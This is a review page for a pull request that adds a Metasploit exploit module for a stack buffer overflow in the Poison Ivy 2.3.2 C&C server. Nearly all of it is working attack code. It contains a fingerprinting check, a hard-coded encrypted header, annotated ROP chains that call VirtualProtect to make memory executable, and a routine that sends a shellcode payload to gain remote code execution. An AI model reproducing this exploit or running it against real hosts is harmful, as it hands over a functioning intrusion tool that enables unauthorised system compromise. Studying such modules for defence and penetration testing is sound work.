Review of pull request #559
parent
600ca5b1dd
commit
8bcc0ba440
|
@ -0,0 +1,145 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => "Poison Ivy 2.3.2 C&C Server Buffer Overflow",
|
||||
'Description' => %q{
|
||||
This module exploits a stack buffer overflow in Poison Ivy 2.3.2 C&C server.
|
||||
The exploit does not need to know the password chosen for the bot/server comm.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Andrzej Dereszowski', # Vulnerability Discovery
|
||||
'Gal Badishi' # Exploit and Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.signal11.eu/en/research/articles/targeted_2010.pdf' ],
|
||||
[ 'URL', 'http://badishi.com/own-and-you-shall-be-owned' ]
|
||||
],
|
||||
'DisclosureDate' => "Jun 24 2012",
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'StackAdjustment' => -4000,
|
||||
'Space' => 10000,
|
||||
'BadChars' => "",
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Poison Ivy 2.3.2', { } ],
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(3460),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
sig = "\x35\xe1\x06\x6c\xcd\x15\x87\x3e\xee\xf8\x51\x89\x66\xb7\x0f\x8b"
|
||||
lensig = [0x000015D0].pack("V")
|
||||
|
||||
connect
|
||||
sock.put("\x00" * 256)
|
||||
response = sock.read(256)
|
||||
datalen = sock.read(4)
|
||||
disconnect
|
||||
|
||||
if datalen == lensig
|
||||
print_status("Password appears to be \"admin\"") if response[0, 16] == sig
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
# This is the 32-byte header we want to send, encrypted with the default password ("admin")
|
||||
# We have a very good chance of succeeding even if the password was changed
|
||||
header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7"
|
||||
|
||||
short_rop = [
|
||||
0x0041F1E9, # 1st jump - will put esp (8 bytes from here) into ecx: push esp # and al,4 # pop ecx # pop edx # retn
|
||||
0x00401000, # Readable/writeable - will be cleaned by original ret 4 (esp will point to the next dword)
|
||||
0xFFFF8000, # edx. We'll add this number later to ebp (which will subtract 0x8000 from it).
|
||||
0x0042F63A, # Will put esp into ebp: push esp # pop ebp # pop edi # pop esi # pop ebx # retn
|
||||
0x00000000, # edi (ebp points here now)
|
||||
0x00000000, # esi
|
||||
0x00000000, # ebx
|
||||
0x00426799, # We need this to offset ebp: mov eax,edx # retn
|
||||
0x0041F337, # Subtract 0x8000 from ebp: add ebp,eax # retn
|
||||
0x00403A77, # mov esp,ebp # pop ebp # retn
|
||||
].pack("V*")
|
||||
|
||||
long_rop = [
|
||||
0x00000000, # New ebp
|
||||
0x0041F1E9, # Will put esp (8 bytes from here) into ecx: push esp # and al,4 # pop ecx # pop edx # retn
|
||||
0x0000002C, # edx. We'll add this number later to ebp, to prevent looping.
|
||||
0x0042F63A, # Will put esp into ebp: push esp # pop ebp # pop edi # pop esi # pop ebx # retn
|
||||
0x00000001, # edi. We need it when we call VirtualProtect (ebp points here now)
|
||||
0x00000000, # esi
|
||||
0x00000000, # ebx
|
||||
0x00426799, # We need this to offset ebp: mov eax,edx # retn
|
||||
0x0041F337, # Subtract 0x8000 from ebp: add ebp,eax # retn
|
||||
0x004D82DE, # eax will now point 8 bytes from the beginning of the bigger ROP chain: mov eax,ecx # retn
|
||||
0x004F196E, # push eax (address) and call VirtualProtect, then add ebx, 0x28 # mov edi, 0x46FAC1 # pop esi # pop ebx # mov esp, ebp # pop ebp # ret 8
|
||||
0x00004000, # Size
|
||||
0x00000040, # New protect (0x40 = PAGE_EXECUTE_READWRITE)
|
||||
0x00401000, # Old protect (ptr)
|
||||
0x00000000, # esi
|
||||
0x00000000, # ebx. ebp will point here after the offset, meaning that esp will point here after VirtualProtect.
|
||||
0x0041AA97, # jmp esp (also new ebp)
|
||||
0x00000000, # Discarded
|
||||
0x00000000, # Discarded
|
||||
].pack("V*")
|
||||
|
||||
short_rop_pos = 0x806D
|
||||
long_rop_pos = short_rop_pos - 0x7FF0
|
||||
|
||||
# Handshake
|
||||
connect
|
||||
print_status("Performing handshake...")
|
||||
sock.put("\x00" * 256)
|
||||
sock.get
|
||||
|
||||
# Don't change the nulls, or it might not work
|
||||
xploit = ''
|
||||
xploit << header
|
||||
xploit << "\x00" * (long_rop_pos - xploit.length)
|
||||
xploit << long_rop
|
||||
xploit << payload.encoded
|
||||
xploit << "\x00" * (short_rop_pos - xploit.length)
|
||||
xploit << short_rop
|
||||
|
||||
# The disconnection triggers the exploit
|
||||
print_status("Sending exploit...")
|
||||
sock.put(xploit)
|
||||
select(nil,nil,nil,5)
|
||||
disconnect
|
||||
|
||||
# Time to own the box
|
||||
handler
|
||||
end
|
||||
|
||||
end
|
||||
|
Loading…
Reference in New Issue